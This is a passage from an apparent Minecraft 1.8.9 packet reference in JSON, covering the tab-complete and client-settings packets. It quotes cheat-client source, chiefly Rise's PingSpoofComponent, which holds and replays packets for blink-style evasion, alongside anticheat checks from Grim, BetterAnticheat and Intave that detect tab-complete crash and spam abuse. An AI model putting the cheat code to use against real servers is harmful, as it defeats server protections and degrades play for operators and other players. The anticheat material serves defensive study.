      "detailed_code": "// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====\n/* November.lol © 2023 */\npackage lol.november.scripting.wrapper.event;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.protect.DontObfuscate;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Getter\n@Setter\n@DontObfuscate\npublic class LuaEventPacket {\n\n  /**\n   * A map of each {@link Packet} to their id\n   */\n  private static final Map<Class<? extends Packet<?>>, Integer> packetIds =\n    new HashMap<>();\n\n  static {\n    // you may ask: why not use reflection and just.. do a funny?\n    // obfuscation eventually happens so this aids has to happen\n\n    packetIds.put(C0APacketAnimation.class, 0x0A);\n    packetIds.put(C0BPacketEntityAction.class, 0x0B);\n    packetIds.put(C0CPacketInput.class, 0x0C);\n    packetIds.put(C0DPacketCloseWindow.class, 0x0D);\n    packetIds.put(C0EPacketClickWindow.class, 0x0E);\n    packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);\n    packetIds.put(C00PacketKeepAlive.class, 0x00);\n    packetIds.put(C01PacketChatMessage.class, 0x01);\n    packetIds.put(C02PacketUseEntity.class, 0x02);\n    packetIds.put(C03PacketPlayer.class, 0x03);\n    packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);\n    packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);\n    packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);\n    packetIds.put(C07PacketPlayerDigging.class, 0x07);\n    packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);\n    packetIds.put(C09PacketHeldItemChange.class, 0x09);\n    packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);\n    packetIds.put(C11PacketEnchantItem.class, 0x11);\n    packetIds.put(C12PacketUpdateSign.class, 0x12);\n    packetIds.put(C13PacketPlayerAbilities.class, 0x13);\n    packetIds.put(C14PacketTabComplete.class, 0x14);\n    packetIds.put(C15PacketClientSettings.class, 0x15);\n    packetIds.put(C16PacketClientStatus.class, 0x16);\n    packetIds.put(C17PacketCustomPayload.class, 0x17);\n    packetIds.put(C18PacketSpectate.class, 0x18);\n    packetIds.put(C19PacketResourcePackStatus.class, 0x19);\n  }\n\n  private final int packet;\n  private final String direction;\n\n  public LuaEventPacket(EventPacket event) {\n    packet = packetIds.getOrDefault(event.get().getClass(), -1);\n    direction = event.get() instanceof EventPacket.Out ? \"out\" : \"in\";\n  }\n}\n// NOTE (AI): C14 is registered as 0x14 in the serverbound id table.",
      "code_source": "November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java",
      "vanilla_hook": "EventPacket.Out through the scripting bridge.",
      "anti_cheat_notes": "None; read-only mapping.",
      "variations": ""
     }
    ],
    "general_hooks": "S3APacketTabComplete is the receive-side hook for enumeration; the send side is direct construction (Rise 5.99, Sigma) or the vanilla send queue (Rise 6.x Chat). LiquidSense Dev parses S3A in PacketEvent and sends C14 via addToSendQueue or the raw NetworkManager; November Recode 2.0 sends via sendQueue.addToSendQueue from a command and exposes 0x14 to scripts.",
    "client_variations": "Rise 5.99 and Sigma construct the packet directly; Rise 6.x Chat goes through mc.thePlayer.sendQueue.addToSendQueue. Tenacity's PacketUtil whitelist also classifies C14 as a client packet. LiquidSense Dev's Plugins auto-disables after one exchange; November Recode 2.0's PluginsCommand is a command with a 10s timeout and a regex-based plugin-name parser.",
    "related": [
     "S3APacketTabComplete",
     "C01PacketChatMessage"
    ],
    "anticheat": {
     "overview": "The tab-complete packet is a favorite target for exploit and spam checks because its text field is fully client-controlled. Grim runs two checks (blank completion and length cap), BetterAnticheat flags empty completions, and Intave rewrites completions to hide its own commands. Most of the remaining corpus hits are Bukkit TabCompleter plumbing for anticheat commands, not packet checks.",
     "checks": [
      {
       "name": "ChatA blank tab complete (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Flag and cancel tab-complete packets that carry no meaningful text.",
       "how_it_works": "On TAB_COMPLETE (1.13+ only), wraps the packet and checks whether the text is \"/\" or empty after trimming. If so, the check flags and cancels the packet before it reaches the server.",
       "detects": "Clients spamming empty tab-complete requests, which is a server-lag and exploit primitive.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/chat/ChatA.java =====\npackage ac.grim.grimac.checks.impl.chat;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientTabComplete;\n\n@CheckData(name = \"ChatA\", stableKey = \"grim.exploit.blank_tab_complete\", description = \"Sent a tab complete packet with no command or input text\", experimental = true)\npublic class ChatA extends Check implements PreViaPacketReceiveListener {\n\n    public ChatA(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public boolean isApplicable() {\n        return PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_13);\n    }\n\n    @Override\n    public void onPreViaPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.TAB_COMPLETE) {\n            WrapperPlayClientTabComplete wrapper = new WrapperPlayClientTabComplete(event);\n            String text = wrapper.getText();\n            if (text.equals(\"/\") || text.trim().isEmpty()) {\n                if (flag() && shouldModifyPackets()) {\n                    event.setCancelled(true);\n                    player.onPacketCancel();\n                }\n            }\n        }\n    }\n}\n\n// NOTE (AI): The check is gated on 1.13+ because older protocol versions do not send a blank tab complete; it runs as a PreVia listener so it fires before ViaVersion translation.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/chat/ChatA.java",
       "variations": "BetterAnticheat ImpossibleCompletionCheck implements the same empty-text idea (see below)."
      },
      {
       "name": "CrashH tab complete length (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Block oversized tab-complete requests that crash the server command tree.",
       "how_it_works": "Caps the tab-complete text at 256 characters for normal players and 32500 for players who can use gamemaster blocks, and mirrors Paper's patch: any request over 64 characters must contain a space before index 64. Violations are cancelled and flagged with the offending length.",
       "detects": "Tab-complete crash payloads, absurd length values, and command-tree abuse via the completion field.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/crash/CrashH.java =====\npackage ac.grim.grimac.checks.impl.crash;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientTabComplete;\n\n@CheckData(name = \"CrashH\", stableKey = \"grim.crash.invalid_tab_complete\", description = \"Sent a tab complete request with invalid or excessive length\")\npublic class CrashH extends Check implements PacketReceiveListener {\n    private static final Verbose V = Verbose.of(\"[(length)|(invalid)] length={sint}\");\n\n    public CrashH(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.TAB_COMPLETE) {\n            WrapperPlayClientTabComplete wrapper = new WrapperPlayClientTabComplete(event);\n            String text = wrapper.getText();\n            final int length = text.length();\n            // general length limit\n            if (length > (!player.canUseGameMasterBlocks() ? 256 : 32500)) {\n                if (shouldModifyPackets()) {\n                    event.setCancelled(true);\n                    player.onPacketCancel();\n                }\n                flag(V.write(verbose()).bool(true).sint(length));\n                return;\n            }\n            // paper's patch\n            final int index;\n            if (length > 64 && ((index = text.indexOf(' ')) == -1 || index >= 64)) {\n                if (shouldModifyPackets()) {\n                    event.setCancelled(true);\n                    player.onPacketCancel();\n                }\n                flag(V.write(verbose()).bool(false).sint(length));\n            }\n        }\n    }\n}\n\n// NOTE (AI): The 64-character space rule is taken from Paper's own mitigation; Grim reimplements it server-side so it applies regardless of the server platform.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/crash/CrashH.java",
       "variations": "No other anticheat in the corpus enforces a tab-complete length cap."
      },
      {
       "name": "ImpossibleCompletionCheck (BetterAnticheat)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Catch tab completions sent with no typed text at all.",
       "how_it_works": "On TAB_COMPLETE, wraps the packet and fails when the text field is empty, since vanilla requires some input before a completion can be requested.",
       "detects": "Clients sending empty completion requests, usually as part of a packet-spam or exploit sequence.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/chat/ImpossibleCompletionCheck.java =====\npackage better.anticheat.core.check.impl.chat;\n\nimport better.anticheat.core.BetterAnticheat;\nimport better.anticheat.core.check.Check;\nimport better.anticheat.core.check.CheckInfo;\nimport better.anticheat.core.player.Player;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientTabComplete;\n\n/**\n * This check looks for impossible tab completions.\n */\n@CheckInfo(name = \"ImpossibleCompletion\", category = \"chat\")\npublic class ImpossibleCompletionCheck extends Check {\n\n    public ImpossibleCompletionCheck(BetterAnticheat plugin, Player player) {\n        super(plugin, player);\n    }\n\n    @Override\n    public void handleReceivePlayPacket(PacketPlayReceiveEvent event) {\n\n        /*\n         * This check verifies that you have attempted to type something before attempting a tab completion.\n         * You cannot tab complete an empty string.\n         */\n\n        if (event.getPacketType() != PacketType.Play.Client.TAB_COMPLETE) return;\n        WrapperPlayClientTabComplete wrapper = new WrapperPlayClientTabComplete(event);\n        if (wrapper.getText().isEmpty()) fail();\n    }\n}\n\n// NOTE (AI): The check is a single empty-string comparison, the minimal form of the blank-tab-complete idea.",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/chat/ImpossibleCompletionCheck.java",
       "variations": "Grim ChatA runs the same logic with packet cancellation; the BetterAnticheat version only records a fail."
      },
      {
       "name": "CommandFilter tab complete (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Hide Intave's own commands from tab completion and harden the completion stream against tab-kick crashes.",
       "how_it_works": "On inbound CHAT and TAB_COMPLETE packets, rewrites \"/iac\" and \"/intave\" prefixes to a forwarder command for players without permission. On outbound TAB_COMPLETE, strips any suggestion containing \"/intave\" or \"/iac\" before it reaches the client.",
       "detects": "Nothing malicious by itself. It is a hardening filter over the tab-complete stream that also prevents players from discovering the anticheat through completions.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/filter/CommandFilter.java =====\npackage de.jpx3.intave.module.filter;\n\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.google.common.collect.Lists;\nimport de.jpx3.intave.IntavePlugin;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.user.permission.BukkitPermissionCheck;\nimport org.bukkit.configuration.ConfigurationSection;\nimport org.bukkit.entity.Player;\n\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.CHAT_IN;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.TAB_COMPLETE_IN;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.TAB_COMPLETE_OUT;\n\npublic final class CommandFilter extends Filter {\n  private final boolean separateEnable;\n  private final boolean disabled;\n  private final Map<String, String> redirects = new HashMap<>();\n\n  public CommandFilter(IntavePlugin plugin) {\n    super(\"command\");\n    separateEnable = plugin.settings().getBoolean(\"command.hide\", true);\n    disabled = plugin.settings().getBoolean(\"command.fix-tab-kicks\", false);\n\n    ConfigurationSection reroute = plugin.settings().getConfigurationSection(\"command.reroute\");\n    if (reroute != null) {\n      reroute.getKeys(false).forEach(key -> redirects.put(key, plugin.settings().getString(\"command.reroute.\" + key)));\n    }\n  }\n\n  @PacketSubscription(\n    packetsIn = {\n      CHAT_IN, TAB_COMPLETE_IN\n    }\n  )\n  public void receiveChatPacket(PacketEvent event) {\n    Player player = event.getPlayer();\n    String message = event.getPacket().getStrings().getValues().get(0);\n\n    String trimmedMessage = message.trim().toLowerCase();\n\n    for (Map.Entry<String, String> stringStringEntry : redirects.entrySet()) {\n      if (trimmedMessage.startsWith(stringStringEntry.getKey())) {\n        // remove the command and replace it with the redirect without regex\n        String redirect = stringStringEntry.getValue();\n        if (redirect.toLowerCase().contains(\"root\")) {\n          continue;\n        }\n        trimmedMessage = redirect + trimmedMessage.substring(stringStringEntry.getKey().length());\n        event.getPacket().getStrings().writeSafely(0, trimmedMessage);\n        trimmedMessage = trimmedMessage.trim().toLowerCase();\n      }\n    }\n\n    boolean permitted = BukkitPermissionCheck.permissionCheck(player, \"intave.command\");\n    if ((trimmedMessage.startsWith(\"/iac\") || trimmedMessage.startsWith(\"/intave\")) && !permitted) {\n      event.getPacket().getStrings().writeSafely(0, \"/intavecommandforward\");\n    }\n  }\n\n//  @PacketSubscription(\n////    engine = Engine.ASYNC_INTERNAL,\n//    packetsOut = {\n//      COMMANDS\n//    }\n//  )\n//  public void receiveCommands(PacketEvent event) {\n//    Player player = event.getPlayer();\n//    PacketContainer packet = event.getPacket();\n//    StructureModifier<RootCommandNode> rootModifier = packet.getSpecificModifier(RootCommandNode.class);\n//    RootCommandNode<?> rootCommandNode = rootModifier.readSafely(0);\n////    player.sendMessage(\"Removing \" + rootCommandNode.getChildren());\n////    for (CommandNode<?> child : rootCommandNode.getChildren()) {\n////      System.out.println(child.getName() + \" -> \" + child.getUsageText());\n////    }\n//    rootCommandNode.removeCommand(\"iac\");\n//    rootCommandNode.removeCommand(\"intave:iac\");\n//    rootCommandNode.removeCommand(\"intave\");\n//    rootCommandNode.removeCommand(\"intave:intave\");\n////    rootModifier.write(0, new RootCommandNode());\n//    rootModifier.write(0, rootCommandNode);\n//  }\n\n  @PacketSubscription(\n//    engine = Engine.ASYNC_INTERNAL,\n    packetsOut = {\n      TAB_COMPLETE_OUT\n    }\n  )\n  public void receiveTabComplete(PacketEvent event) {\n    Player player = event.getPlayer();\n    PacketContainer packet = event.getPacket();\n    boolean permitted = BukkitPermissionCheck.permissionCheck(player, \"intave.command\");\n    if (permitted) {\n      return;\n    }\n    String[] stuff = packet.getStringArrays().readSafely(0);\n    if (stuff != null) {\n      List<String> newTabCompletions = Lists.newArrayList();\n      Arrays.stream(stuff).filter(string -> !string.contains(\"/intave\") && !string.contains(\"/iac\")).forEach(newTabCompletions::add);\n      if (newTabCompletions.size() != stuff.length) {\n        packet.getStringArrays().writeSafely(0, newTabCompletions.toArray(new String[0]));\n      }\n    }\n  }\n\n  @Override\n  protected boolean enabled() {\n    return (super.enabled() || separateEnable) && !disabled;\n  }\n}\n\n// NOTE (AI): The same filter rewrites inbound chat so unpermitted players cannot run Intave commands directly; the outbound completion strip is the packet-side half of that hiding.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/filter/CommandFilter.java",
       "variations": "SafeguardAC registers a TabComplete check in its check list, but its source is not present in the corpus, only the compiled class."
      }
     ]
    }
   },
   "wiki_notes": [
    "PLAY 0x14: string message plus bool hasPos plus optional looked-at BlockPos; reply comes as S3A.",
    "Text need not start with slash; the 1.8.9 handler runs dispatcher completions with no throttle.",
    "Position is set when the cursor is over a block, enabling block-sensitive command suggestions.",
    "MCP 1.8.9 C14PacketTabComplete implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processTabComplete; wire serde is readPacketData/writePacketData via readBlockPos, readBoolean, readStringFromBuffer.",
    "1.8.9 callers: GuiChat.sendAutocompleteRequest sends new C14PacketTabComplete (line 263): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/gui/GuiChat.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C14PacketTabComplete/",
   "mcp_path": "net/minecraft/network/play/client/C14PacketTabComplete.java",
   "group": "play-server",
   "logic_classes": []
  },
  {
   "id": "C15PacketClientSettings",
   "hex": "0x15",
   "dec": 21,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Client Settings",
   "desc": "Client sends its locale, view distance, chat mode, chat colors, difficulty preference, and cape visibility.",
   "tags": [
    "player",
    "settings",
    "chat"
   ],
   "fields": [
    {
     "name": "locale",
     "type": "String",
     "desc": "Client language (en_US, zh_CN, etc.)"
    },
    {
     "name": "viewDistance",
     "type": "byte",
     "desc": "Client render distance in chunks (2-32)"
    },
    {
     "name": "chatVisibility",
     "type": "byte",
     "desc": "0=full, 1=commandsOnly, 2=hidden"
    },
    {
     "name": "chatColors",
     "type": "boolean",
     "desc": "Enable chat color/formatting codes"
    },
    {
     "name": "difficulty",
     "type": "byte",
     "desc": "Client difficulty preference (0-3)"
    },
    {
     "name": "showCape",
     "type": "boolean",
     "desc": "Show player capes"
    }
   ],
   "encoding": [
    [
     "Locale",
     "String",
     "en_US, zh_CN, etc."
    ],
    [
     "View Distance",
     "byte",
     "2-32 chunks"
    ],
    [
     "Chat Mode",
     "byte",
     "0=shown, 1=commandsOnly, 2=hidden"
    ],
    [
     "Chat Colors",
     "bool",
     ""
    ],
    [
     "Difficulty",
     "unsigned byte",
     "Client-side preference"
    ],
    [
     "Show Cape",
     "bool",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processClientSettings()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "Sent by vanilla client every time settings change. The server stores locale for player language detection. View distance affects how many chunks the server sends. Rise 6.0 ClientSpoofer sends spoofed C15 to change the locale string for server-side language detection bypass and to set a fake view distance.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C15 declares client preferences: locale string, render distance byte, chat visibility enum, chat colors flag and a model-part bitmask. Vanilla re-sends it from GameSettings whenever any of those settings change, and the server stores the values on the player. It is the only serverbound packet that carries the client's locale, which makes it the hook for server-side language detection."
     },
     {
      "h": "Vanilla handling",
      "p": "processClientSettings delegates to EntityPlayerMP.handleClientSettings, which stores translator (locale), chatVisibility and chatColours on the player and pushes the model-part flags into DataWatcher slot 10. The render distance byte is parsed but not stored by the bundled 1.8.9 handler; chunk streaming distance stays server-configured. The locale is what language-detection plugins read."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the clients ships a locale-spoof module; the corpus hits are indirect. Rise 6.x PingSpoofComponent lists C15 in its blink tuple so settings packets are held and replayed during blink spoofs, and the script PacketAPI exposes sendSettings(). November Recode 2.0 maps C15PacketClientSettings to wire id 0x15 in its LuaEventPacket wrapper so Lua scripts can recognize the packet by id. Spicy's Bhop imports C15 without using it. Clients known to cancel C15 for locale bypasses exist outside this corpus."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is informational and server-validated trivially, so abuse is limited to two corners: re-sending it to reset the server's stored locale after a language change (defeating per-locale chat filters), and the blink interaction, where holding C15 for the blink window freezes the server's view of client settings. The model-part bitmask is the only field that reaches other players (via DataWatcher), so a corrupted mask is the only client-visible side effect."
     }
    ],
    "overview": "The settings declaration packet. No locale-spoof module exists in the corpus; C15 shows up only inside Rise 6.x's blink-hold component, the script PacketAPI, November Recode 2.0's Lua packet-id map, plus dead imports in Spicy Bhop.",
    "server_handling": "processClientSettings -> EntityPlayerMP.handleClientSettings: stores locale, chat visibility and colors; model-part flags go to DataWatcher slot 10 (broadcast to other players). Render distance is parsed and discarded in the bundled 1.8.9 sources. No validation beyond String length.",
    "protocol_notes": "String locale + byte viewDistance + byte chatVisibility enum + bool colors + byte modelPartFlags (bitmask for cape/jacket/sleeves/pants/hat). Re-sent on every settings change, so a settings GUI session naturally emits several. The locale is a plain String and is never matched against a known list.",
    "anticheat_landscape": "No anti-cheat measures C15. Language-detection and anti-spam plugins key off the locale string; spoofing it changes plugin behavior, not server physics. The blink-hold interaction matters to anti-cheats only insofar as the same component also holds C03 and C0F packets, which is where the actual detection signal lives.",
    "modules": [
     {
      "name": "PingSpoofComponent (blink hold)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Hold C15 (with C13, C17, C18, C19 and movement packets) while the client blinks, then replay it in order.",
      "how_it_works": "C15 is in the blink class tuple. When blink() enables the regular and blink tuples, onPacket cancels matching packets and parks them with a timestamp; PostMotionEvent replays entries whose delay elapsed and dispatch() flushes the rest on world change.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/PingSpoofComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.CancellableEvent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PostMotionEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.Tuple;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class PingSpoofComponent extends Component {\n    public static ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    static StopWatch enabledTimer = new StopWatch();\n    public static boolean enabled;\n    static long amount;\n    static Tuple<Class[], Boolean> regular = new Tuple<>(new Class[]{C0FPacketConfirmTransaction.class, C00PacketKeepAlive.class, S1CPacketEntityMetadata.class}, false);\n    static Tuple<Class[], Boolean> velocity = new Tuple<>(new Class[]{S12PacketEntityVelocity.class, S27PacketExplosion.class}, false);\n    static Tuple<Class[], Boolean> teleports = new Tuple<>(new Class[]{S08PacketPlayerPosLook.class, S39PacketPlayerAbilities.class, S09PacketHeldItemChange.class}, false);\n    static Tuple<Class[], Boolean> players = new Tuple<>(new Class[]{S13PacketDestroyEntities.class, S14PacketEntity.class, S14PacketEntity.S16PacketEntityLook.class, S14PacketEntity.S15PacketEntityRelMove.class, S14PacketEntity.S17PacketEntityLookMove.class, S18PacketEntityTeleport.class, S20PacketEntityProperties.class, S19PacketEntityHeadLook.class}, false);\n    static Tuple<Class[], Boolean> blink = new Tuple<>(new Class[]{C02PacketUseEntity.class, C0DPacketCloseWindow.class, C0EPacketClickWindow.class, C0CPacketInput.class, C0BPacketEntityAction.class, C08PacketPlayerBlockPlacement.class, C07PacketPlayerDigging.class, C09PacketHeldItemChange.class, C13PacketPlayerAbilities.class, C15PacketClientSettings.class, C16PacketClientStatus.class, C17PacketCustomPayload.class, C18PacketSpectate.class, C19PacketResourcePackStatus.class, C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class, C0APacketAnimation.class}, false);\n    static Tuple<Class[], Boolean> movement = new Tuple<>(new Class[]{C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class}, false);\n\n    public static Tuple<Class[], Boolean>[] types = new Tuple[]{regular, velocity, teleports, players, blink, movement};\n\n    @EventLink\n    public final Listener<PacketSendEvent> send = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> receive = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    public CancellableEvent onPacket(Packet<?> packet, CancellableEvent event) {\n        if (!event.isCancelled() && enabled && Arrays.stream(types).anyMatch(tuple -> tuple.getSecond() && Arrays.stream(tuple.getFirst()).anyMatch(regularpacket -> regularpacket == packet.getClass()))) {\n            event.setCancelled();\n            packets.add(new PacketUtil.TimedPacket(packet));\n        }\n\n        return event;\n    }\n\n    public static void dispatch() {\n        if (!packets.isEmpty()) {\n            // Stops the packets from being called twice\n            boolean enabled = PingSpoofComponent.enabled;\n            PingSpoofComponent.enabled = false;\n            packets.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n            PingSpoofComponent.enabled = enabled;\n            packets.clear();\n        }\n    }\n\n    public static void disable() {\n        enabled = false;\n        enabledTimer.setMillis(enabledTimer.millis - 999999999);\n    }\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> dispatch();\n\n    @EventLink\n    public final Listener<PostMotionEvent> onPostMotion = event -> {\n        if (!(enabled = !enabledTimer.finished(100) && !(mc.currentScreen instanceof GuiDownloadTerrain))) {\n            dispatch();\n        } else {\n            // Stops the packets from being called twice\n            enabled = false;\n\n            packets.forEach(packet -> {\n                if (packet.getTime() + amount < System.currentTimeMillis()) {\n                    PacketUtil.queue(packet.getPacket());\n                    packets.remove(packet);\n                }\n            });\n\n            enabled = true;\n        }\n    };\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players) {\n        spoof(amount, regular, velocity, teleports, players, false);\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink, boolean movement) {\n        enabledTimer.reset();\n\n        PingSpoofComponent.regular.setSecond(regular);\n        PingSpoofComponent.velocity.setSecond(velocity);\n        PingSpoofComponent.teleports.setSecond(teleports);\n        PingSpoofComponent.players.setSecond(players);\n        PingSpoofComponent.blink.setSecond(blink);\n        PingSpoofComponent.movement.setSecond(movement);\n        PingSpoofComponent.amount = amount;\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink) {\n        spoof(amount, regular, velocity, teleports, players, blink, false);\n    }\n\n    public static void blink() {\n        spoof(9999999, true, false, false, false, true);\n    }\n}\n// NOTE (AI): PingSpoofComponent is the Rise 6.x packet-hold engine. C15 sits in the 'blink' tuple, one of six packet class lists. The tuples' boolean flags are flipped by spoof(amount, regular, velocity, teleports, players, blink, movement); blink() calls spoof(9999999, true, false, false, false, true), so during a blink every packet in the regular and blink tuples, C15 included, is cancelled and parked in the timed queue, then replayed by dispatch() or the PostMotionEvent flush when the hold window elapses. C13, C17, C18 and C19 share the same tuple, which is why this component reappears on their impl pages.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/PingSpoofComponent.java",
      "vanilla_hook": "PacketSendEvent, PacketReceiveEvent, PostMotionEvent, WorldChangeEvent.",
      "anti_cheat_notes": "Holding C15 is invisible; the component's value is holding C0F/C00/C03 together so the server sees a consistent, delayed stream. The blink window is what movement anti-cheats measure.",
      "variations": "Identical component in Rise 6.1.30."
     },
     {
      "name": "PacketAPI (script bridge)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Expose a settings re-declaration to the scripting layer.",
      "how_it_works": "sendSettings() constructs a default C15PacketClientSettings and sends it via PacketUtil.send.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/script/api/PacketAPI.java =====\npackage com.alan.clients.script.api;\n\nimport com.alan.clients.Client;\nimport com.alan.clients.component.impl.player.Slot;\nimport com.alan.clients.script.api.wrapper.impl.ScriptEntity;\nimport com.alan.clients.script.api.wrapper.impl.ScriptItemStack;\nimport com.alan.clients.script.api.wrapper.impl.vector.ScriptVector3d;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.Vec3;\n\npublic class PacketAPI extends API {\n\n    public void sendKeepAlive(final int key) {\n        PacketUtil.send(new C00PacketKeepAlive(key));\n    }\n\n    public void sendMessage(final String message) {\n        PacketUtil.send(new C01PacketChatMessage(message));\n    }\n\n    public void sendUseEntity(final ScriptEntity entity, final String action) {\n        sendUseEntity(entity.getEntityId(), action);\n    }\n\n    public void sendUseEntity(final int entityID, final String action) {\n        PacketUtil.send(new C02PacketUseEntity(Minecraft.getMinecraft().theWorld.getEntityByID(entityID),\n                C02PacketUseEntity.Action.valueOf(action)));\n    }\n\n    public void sendUseEntity(final int entityID, ScriptVector3d vector) {\n        PacketUtil.send(new C02PacketUseEntity(Minecraft.getMinecraft().theWorld.getEntityByID(entityID),\n                new Vec3(vector.getX(), vector.getY(), vector.getZ())));\n    }\n\n    public void sendUseEntity(final ScriptEntity entity, ScriptVector3d vector) {\n        sendUseEntity(entity.getEntityId(), vector);\n    }\n\n    public void sendPosition(boolean ground) {\n        PacketUtil.send(new C03PacketPlayer(ground));\n    }\n\n    public void sendPosition(double x, double y, double z, boolean ground) {\n        PacketUtil.send(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, ground));\n    }\n\n    public void sendPosition(double x, double y, double z, float yaw, float pitch, boolean ground) {\n        PacketUtil.send(new 